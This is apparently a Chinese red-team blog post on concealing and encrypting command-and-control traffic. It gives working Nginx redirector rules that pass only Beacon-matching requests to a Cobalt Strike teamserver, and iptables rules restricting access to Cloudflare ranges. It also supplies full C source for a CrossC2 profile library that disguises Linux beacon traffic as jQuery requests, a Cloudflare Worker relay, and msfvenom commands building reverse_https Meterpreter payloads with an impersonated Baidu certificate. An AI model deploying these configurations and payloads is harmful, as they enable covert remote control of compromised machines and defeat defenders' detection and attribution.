  • 配置 ssl 证书:
#####################
# SSL Configuration
#####################
listen 443 ssl;  //这里需要修改成MF允许的https端口
listen [::]:443 ssl;
ssl on;

ssl_certificate /home/cs4.4/server.pem; 
ssl_certificate_key /home/cs4.4/client.key;
ssl_session_cache shared:le_nginx_SSL:1m;
ssl_session_timeout 1440m;
ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3;
ssl_prefer_server_ciphers on;
  • 定制化处理 location 块:

将访问jquery-3.3.2.slim.min.js规定给仅有指定头才能反向代理到8443端口,这里我用的是jquery-c2.4.4.profile,ua头就设置配置文件中的ua头,使得只有指定 URL 才能访问,保证了不会被扫到。指定 User-Agent 可以确保的都是 Beacon:

##########################
# C2 Profile endpoints
##########################
# Custom regex to allow requests to backend C2 server
# Note: If the backend C2 server isn't available, the useragent will receive a redirect to the
#       redirector's root page due to the custom error handling configured above
# Note: This intentionally does not handle default Beacon staging ^/....
location ~ ^(/jquery-3\.3\.1\.slim\.min\.js|/jquery-3\.3\.2\.min\.js|/jquery-3\.3\.1\.min\.js|/jquery-3\.3\.2\.slim\.min\.js)$ {
if ($http_user_agent != "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko") {
return 302 $REDIRECT_DOMAIN$request_uri; 
}
proxy_pass          $C2_SERVER;

建议:Nginx 宜以 root 权限运行,默认生成的文件是 www-data 用户。使用该用户可能会有权限问题导致无法上线

CS 配置如下:

成功上线

这时我们的 listener 监听的是 0.0.0.0,我们应该配置成只能让反向代理套件访问,设置iptables,阻止非预期访问:

iptables -A INPUT -s 127.0.0.1 -p tcp --dport 8443 -j ACCEPT
iptables -A INPUT -p tcp --dport 8443 -j DROP

为了进一步避免被发现真实IP,利用iptables设置白名单,只允许CloudFlare的回源IP进行访问,不允许直接访问IP,其回源IP可从 https://www.cloudflare.com/zh-cn/ips/ 获取

iptables -A INPUT -p tcp --dport 443 -j DROP
iptables -I INPUT -s 173.245.48.0/20 -p tcp --dport 443 -j ACCEPT
..................................................
iptables -I INPUT -s 103.21.244.0/22 -p tcp --dport 443 -j ACCEPT
0x04 配置Crossc2上线Linux:

CrossC2是一款上线Linux系统的拓展插件
项目地址:https://github.com/gloxec/CrossC2/releases/

修改cna文件内容:

  • CC2_PATH:指定插件存放位置(win系统使用双斜杠,linux系统使用反斜杠)
  • CC2_BIN:根据运行CS客户端的系统环境修改

解压CrossC2Kit-GithubBot-2022-06-07.zip文件,解压后文件目录为CrossC2Kit。
去到CS服务器目录下,找到.cobaltstrike.beacon_keys文件,拷贝下来,放到和cna同一目录下。

在不加载profile的情况下,运行客户端,连接CS并加载插件:

创建监听,注意选择Beacon HTTPS,然后点击上方CrossC2选项,生成一个C2的反向监听:

将生成的文件上传至目标机器,赋权并运行上线CS:

上述操作是未带C2-Profile,直接带上C2-Profile,CrossC2所生成的Beacon可能无法上线也可能是上线了执行不了命令(这里可以自己尝试一下)。因此CrossC2提供通信协议API的方式来解决该问题。

CrossC2提供了一个c2profile.c文件,在该文件内编写相应的c代码,然后打包成.so文件,在使用./genCrossC2.Linux时指定编译好的.so文件。这样生成的Beacon就可以按照c编写的逻辑构造数据包和解码数据包。

其中还提供了一个https.profile,和默认的c2profile.c文件是配对的,可以直接使用:

./teamserver 192.168.54.131 123456 https.profile

gcc c2profile.c -fPIC -shared -o lib_rebind_test.so
./genCrossC2.Linux 192.168.54.131 443 .cobaltstrike.beacon_keys lib_rebind_test.so Linux x64 ./test.out

通信函数说明:

  • Beacon向TeamServer发送数据时触发
    cc2_rebind_http_get_send
    cc2_rebind_http_post_send
  • Beacon接收TeamServer响应的数据时触发
    cc2_rebind_http_get_recv
    cc2_rebind_http_post_recv
  • 查找有用的数据部分
    find_payload

以jquery-c2.4.4.profile默认配置为例,基本不需要专门修改。
在不去掉C2-Profile中的Mask编码,需要自己实现Mask的编码和解码逻辑方式如下:

#include 
#include 
#include 
#include 
#include 

static const char *BASE64_STR_CODE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
static const short BASE64_INT_CODE[] = {-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
                                        -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
                                        -1, -1, -1, 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1,
                                        -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16,
                                        17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30,
                                        31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50,
                                        51};
static const short BASE64_INT_LENGTH = sizeof(BASE64_INT_CODE) / sizeof(BASE64_INT_CODE[0]);

void base64_decode_to_ascii(char *base64Str, long res[]) {
    int i = 0;
    int j = 0;
    int v1 = 0;
    int v2 = 0;
    int v3 = 0;
    int base64StrLength = strlen(base64Str);

    for (i = 0; i < base64StrLength; ++i) {
        char ascii = base64Str[i];
        if (ascii == 0x20 | ascii == '\n' | ascii == '\t') {
            break;
        } else {
            if (ascii == '=') {
                ++v3;
                v1 <<= 6;
                ++v2;
                switch (v2) {
                    case 1:
                    case 2:
                        return;
                    case 3:
                        break;
                    case 4:
                        res[j++] = (char) (v1 >> 16);
                        if (v3 == 1) {
                            res[j++] = (char) (v1 >> 8);
                        }
                        break;
                    case 5:
                        return;
                    default:
                        return;
                }
            } else {
                if (v3 > 0) {
                    return;
                }

                if (ascii >= 0 && ascii < BASE64_INT_LENGTH) {
                    short v4 = BASE64_INT_CODE[ascii];
                    if (v4 >= 0) {
                        v1 = (v1 << 6) + v4;
                        ++v2;
                        if (v2 == 4) {
                            res[j++] = (char) (v1 >> 16);
                            res[j++] = (char) (v1 >> 8 & 255);
                            res[j++] = (char) (v1 & 255);
                            v1 = 0;
                            v2 = 0;
                        }
                        continue;
                    }
                }

                if (ascii == 0x20 | ascii == '\n' | ascii == '\t') {
                    return;
                }
            }
        }
    }
}

void ascii_to_base64_encode(long ascii[], unsigned long asciiLength, char res[]) {
    long i = 0;
    long j = 0;
    long v1 = 0;
    long v2 = 0;
    long v3 = 0;
    long v6 = 0;

    for (i = 0; i < asciiLength; ++i) {
        v6 = ascii[v1++];
        if (v6 < 0) {
            v6 += 256;
        }

        v2 = (v2 << 8) + v6;
        ++v3;
        if (v3 == 3) {
            res[j++] = BASE64_STR_CODE[v2 >> 18];
            res[j++] = BASE64_STR_CODE[v2 >> 12 & 63];
            res[j++] = BASE64_STR_CODE[v2 >> 6 & 63];
            res[j++] = BASE64_STR_CODE[v2 & 63];
            v2 = 0;
            v3 = 0;
        }
    }

    if (v3 > 0) {
        if (v3 == 1) {
            res[j++] = BASE64_STR_CODE[v2 >> 2];
            res[j++] = BASE64_STR_CODE[v2 << 4 & 63];
            res[j++] = (unsigned char) '=';
        } else {
            res[j++] = BASE64_STR_CODE[v2 >> 10];
            res[j++] = BASE64_STR_CODE[v2 >> 4 & 63];
            res[j++] = BASE64_STR_CODE[v2 << 2 & 63];
        }
        res[j] = (unsigned char) '=';
    }
}

unsigned long get_base64_decode_length(char *base64Str) {
    long num;
    long base64StrLength = strlen(base64Str);
    if (strstr(base64Str, "==")) {
        num = base64StrLength / 4 * 3 - 2;
    } else if (strstr(base64Str, "=")) {
        num = base64StrLength / 4 * 3 - 1;
    } else {
        num = base64StrLength / 4 * 3;
    }
    return sizeof(unsigned char) * num;
}

unsigned long get_base64_encode_length(long strLen) {
    long num;
    if (strLen % 3 == 0) {
        num = strLen / 3 * 4;
    } else {
        num = (strLen / 3 + 1) * 4;
    }
    return sizeof(unsigned char) * num;
}

void mask_decode(long ascii[], unsigned long asciiLength, long res[]) {
    long i = 0;
    long j = 0;
    short key[4] = {
            ascii[0],
            ascii[1],
            ascii[2],
            ascii[3]
    };
    for (i = 4; i < asciiLength; ++i) {
        res[j] = ascii[i] ^ key[j % 4];
        j++;
    }
}

void mask_encode(long ascii[], unsigned long asciiLength, long res[]) {
    long i = 0;
    srand(time(NULL));
    short key[4] = {
            (char) (rand() % 255),
            (char) (rand() % 255),
            (char) (rand() % 255),
            (char) (rand() % 255)
    };
    res[0] = key[0];
    res[1] = key[1];
    res[2] = key[2];
    res[3] = key[3];
    for (i = 4; i < asciiLength; i++) {
        res[i] = ascii[i - 4] ^ key[i % 4];
    }
}

char *fix_reverse(char *str) {
    int i = 0;
    unsigned long strLength = strlen(str);
    char *res = calloc(strLength + 4, strLength + 4);
    for (i = 0; i < strLength; ++i) {
        if (str[i] == '_') {
            res[i] = '/';
        } else if (str[i] == '-') {
            res[i] = '+';
        } else {
            res[i] = str[i];
        }
    }
    while (strlen(res) % 4 != 0) {
        res[strLength++] = '=';
    }
    res[strlen(res) + 1] = '\0';
    return res;
}

char *fix(char *str) {
    int i;
    unsigned long strLength = strlen(str);
    char *res = calloc(strLength, strLength);
    for (i = 0; i < strLength; i++) {
        if (str[i] == '/') {
            res[i] = '_';
        } else if (str[i] == '+') {
            res[i] = '-';
        } else if (str[i] == '=') {
            continue;
        } else {
            res[i] = str[i];
        }
    }
    return res;
}

char *find_payload(char *rawData, long long rawData_len, char *start, char *end, long long *payload_len) {
    rawData = strstr(rawData, start) + strlen(start);

    *payload_len = strlen(rawData) - strlen(strstr(rawData, end));

    char *payload = (char *) calloc(*payload_len, sizeof(char));
    memcpy(payload, rawData, *payload_len);
    return payload;
}

char *cc2_rebind_http_post_send_param(char *data) {
    unsigned long base64DecodeLength = get_base64_decode_length(data);

    long base64DecodeRes[base64DecodeLength];
    memset(base64DecodeRes, 0, base64DecodeLength);
    base64_decode_to_ascii(data, base64DecodeRes);

    long maskEncodeRes[base64DecodeLength + 4];
    memset(maskEncodeRes, 0, base64DecodeLength + 4);
    mask_encode(base64DecodeRes, base64DecodeLength + 4, maskEncodeRes);

    unsigned long base64EncodeLength = get_base64_encode_length(sizeof(maskEncodeRes) / sizeof(maskEncodeRes[0]));
    char *result = calloc(base64EncodeLength, base64EncodeLength);
    ascii_to_base64_encode(maskEncodeRes, base64DecodeLength + 4, result);

    return result;
}

char *cc2_rebind_http_recv_param(char *payload) {
    char *data = fix_reverse(payload);

    unsigned long base64DecodeLength = get_base64_decode_length(data);
    long base64DecodeRes[base64DecodeLength];
    memset(base64DecodeRes, 0, base64DecodeLength);
    base64_decode_to_ascii(data, base64DecodeRes);

    long maskDecodeRes[base64DecodeLength - 4];
    memset(maskDecodeRes, 0, base64DecodeLength - 4);
    mask_decode(base64DecodeRes, base64DecodeLength, maskDecodeRes);

    unsigned long base64EncodeLength = get_base64_encode_length(base64DecodeLength - 4);
    char *result = calloc(base64EncodeLength, base64EncodeLength);
    ascii_to_base64_encode(maskDecodeRes, base64DecodeLength - 4, result);

    return result;
}

void cc2_rebind_http_get_send(char *reqData, char **outputData, long long *outputData_len) {
    char *requestBody = "GET /%s HTTP/1.1\r\n"
                        "Host: code.jquery.com\r\n"
                        "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
                        "Accept-Encoding: gzip, deflate\r\n"
                        "User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko\r\n"
                        "Cookie: __cfduid=%s\r\n"
                        "Referer: http://code.jquery.com/\r\n"
                        "Connection: close\r\n\r\n";

    char postPayload[20000];
    sprintf(postPayload, requestBody, "jquery-3.3.1.min.js", reqData);

    *outputData_len = strlen(postPayload);
    *outputData = (char *) calloc(1, *outputData_len);
    memcpy(*outputData, postPayload, *outputData_len);
}

void cc2_rebind_http_post_send(char *reqData, char *id, char **outputData, long long *outputData_len) {
    char *requestBody = "POST /%s?__cfduid=%s HTTP/1.1\r\n"
                        "Host: code.jquery.com\r\n"
                        "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
                        "Accept-Encoding: gzip, deflate\r\n"
                        "User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko\r\n"
                        "Referer: http://code.jquery.com/\r\n"
                        "Connection: close\r\n"
                        "Content-Length: %d\r\n\r\n%s";

    id = cc2_rebind_http_post_send_param(id);
    reqData = cc2_rebind_http_post_send_param(reqData);

    char *postPayload = (char *) calloc(1, strlen(requestBody) + strlen(reqData) + 200);

    sprintf(postPayload, requestBody, "jquery-3.3.2.min.js", id, strlen(reqData), reqData);
    *outputData_len = strlen(postPayload);
    *outputData = (char *) calloc(1, *outputData_len);

    memcpy(*outputData, postPayload, *outputData_len);
    free(postPayload);
}

void cc2_rebind_http_get_recv(char *rawData, long long rawData_len, char **outputData, long long *outputData_len) {
    char *start = "return-1},P=\"\r";
    char *end = "\".(o=t.documentElement";

    long long payload_len = 0;
    char *payload = find_payload(rawData, rawData_len, start, end, &payload_len);

    *outputData = cc2_rebind_http_recv_param(payload);
    *outputData_len = strlen(*outputData);
}

void cc2_rebind_http_post_recv(char *rawData, long long rawData_len, char **outputData, long long *outputData_len) {
    char *start = "return-1},P=\"\r";
    char *end = "\".(o=t.documentElement";

    long long payload_len = 0;
    char *payload = find_payload(rawData, rawData_len, start, end, &payload_len);

    *outputData = cc2_rebind_http_recv_param(payload);
    *outputData_len = strlen(*outputData);
}

项目地址:https://github.com/Richard-Tang/CrossC2-C2Profile/blob/main/c2profile.c

同样的编译成so文件,在生成Beacon时指定so文件。

gcc c2profile.c -fPIC -shared -o lib_rebind_test.so
./genCrossC2.Linux 192.168.54.131 443 .cobaltstrike.beacon_keys lib_rebind_test.so Linux x64 ./test.out

运行上线,此时在带C2-Profile的情况下能正常上线CrossC2的Beacon。

0x05 配置cloudflare-worker:

因为cloudflare不支持域前置,所以用这个代替,类似于域前置的一个作用。
创建一个服务然后选择快速编辑,写入js脚本:

let upstream = 'https://your-domain.com'
   
addEventListener('fetch', event => {
    event.respondWith(fetchAndApply(event.request));
})
   
async function fetchAndApply(request) {
    const ipAddress = request.headers.get('cf-connecting-ip') || '';
    let requestURL = new URL(request.url);
    let upstreamURL = new URL(upstream);
    requestURL.protocol = upstreamURL.protocol;
    requestURL.host = upstreamURL.host;
    requestURL.pathname = upstreamURL.pathname + requestURL.pathname;
   
    let new_request_headers = new Headers(request.headers);
    new_request_headers.set("X-Forwarded-For", ipAddress);
    let fetchedResponse = await fetch(
        new Request(requestURL, {
            method: request.method,
            headers: new_request_headers,
            body: request.body
        })
    );
    let modifiedResponseHeaders = new Headers(fetchedResponse.headers);
    modifiedResponseHeaders.delete('set-cookie');
    return new Response(
        fetchedResponse.body,
        {
            headers: modifiedResponseHeaders,
            status: fetchedResponse.status,
            statusText: fetchedResponse.statusText
        }
    );
}

Metasploit 流量加密:


使用基于 HTTP 或者 HTTPS协议, 那么就可以实现基于应用层的加密:

windows/meterpreter/reverse_http
windows/meterpreter/reverse_https

优点:流量加密,允许在不终止有效负载的情况下断开有效负载(并退出 msfconsole)。然后,当再次设置处理程序时,payloads 将自动返回。

impersonate_ssl 模块:

1、生成证书:

该模块通过选项中提供的经过身份验证的源的SSL证书(会请求远程 SSL 证书)创建本地副本,输出 (PEM|DER) 格式的私钥/证书,可以在提供SSLCert选项的Metasploit的所有模块中使用。

use auxiliary/gather/impersonate_ssl
set RHOST www.baidu.com

补充基础:

.pem-在RFC 1421至1424中定义,这是一种容器格式,可以只包含公共证书(例如Apache安装和CA证书文件/etc/ssl/certs),或者可以包括完整的证书链,包括公共密钥,私钥和根证书。令人困惑的是,由于PKCS10格式可以转换为PEM ,因此它也可能对CSR进行编码。该名称来自“ 隐私增强邮件(PEM)”,这是一种用于保护电子邮件的失败方法,但是其使用的容器格式仍然存在,并且是x509 ASN.1密钥的base64转换。

2、创建完证书后,可以为其创建HTTP或HTTPS类型的有效负载,并为其提供PEM格式的证书以用于验证连接:

msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.54.129 LPORT=4443 PayloadUUIDTracking=true PayloadUUIDName=Whoamishell HandlerSSLCert=/root/www.baidu.com.pem StagerVerifySSLCert=true -f exe -o 4443.exe
# 或者生成一个psh类型的木马:
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.54.129 LPORT=4443 PayloadUUIDTracking=true PayloadUUIDName=ParanoidStagedPSH HandlerSSLCert=/root/www.baidu.com.pem StagerVerifySSLCert=true -f psh-cmd -o shell.bat
  • HandlerSSLCert:向处理程序通知所使用的PEM证书。
  • StagerVerifySSLCert:当收到一个连接时执行SSL证书验证。
  • PayloadUUIDTracking和PayloadUUIDName:可以在监听的时候过滤掉不需要的回连请求。

3、启动监听:

use exploit/multi/handler 
set payload windows/meterpreter/reverse_https
set LHOST 192.168.54.129
set LPORT 4443
set HandlerSSLCert /root/www.baidu.com.pem
set StagerVerifySSLCert true
exploit

win7靶机反弹失败

其他补充:


  • 服务器访问IP源限制:将真实服务器防火墙+安全组的访问源ip做网段限制!设置成仅允许Cloudflare网段进行访问
  • C2服务器安全加固:C2服务器的客户端默认连接的50050端口,配置好证书确认登录指纹信息!修改为其他高位端口,不用的时候利用防火墙安全组都deny或者限制登录ip范围
  • 禁止PING,从某种角度可以判定为主机为不存活状态:/etc/sysctl.confnet.ipv4.icmp_echo_ignore_all=1sysctl -p
  • 服务器防火墙,c2上线端口只能让cdn的IP访问

cloudflare 使用的IP段:

173.245.48.0/20
103.21.244.0/22
103.22.200.0/22
103.31.4.0/22
141.101.64.0/18
108.162.192.0/18
190.93.240.0/20
188.114.96.0/20
197.234.240.0/22
198.41.128.0/17
162.158.0.0/15
104.16.0.0/12
172.64.0.0/13
131.0.72.0/22

国内IP段是cloudflare与百度云合作的节点:

162.159.211.4-103
103.21.244.0/22
103.22.200.0/22
103.31.4.0/22
104.16.0.0/12
108.162.192.0/18
131.0.72.0/22
141.101.64.0/18
162.158.0.0/15
172.64.0.0/13
173.245.48.0/20
188.114.96.0/20
190.93.240.0/20
197.234.240.0/22
198.41.128.0/17

参考如下:


对基础 shell 进行流量混淆
APT级CS隐藏教程:使用反向代理、C2-Profile和CDN拉满溯源难度
Using Cloudflare Workers as Redirectors - ajpc500
CobaltStrike4.4汉化破解及特征去除
域前置配合Nginx反代隐匿Cobalt Strike
【技术分享】保姆级Cobalt Strike主机隐藏教程
红队 | 流量加密:使用OpenSSL进行远控流量加密
Cobalt Strike CDN隐藏
CrossC2通信协议API的实践
红队作业 | MSF和CS实战技巧汇总 - 腾讯云开发者社区-腾讯云

你可能感兴趣的:(红队攻击之流量加密小结)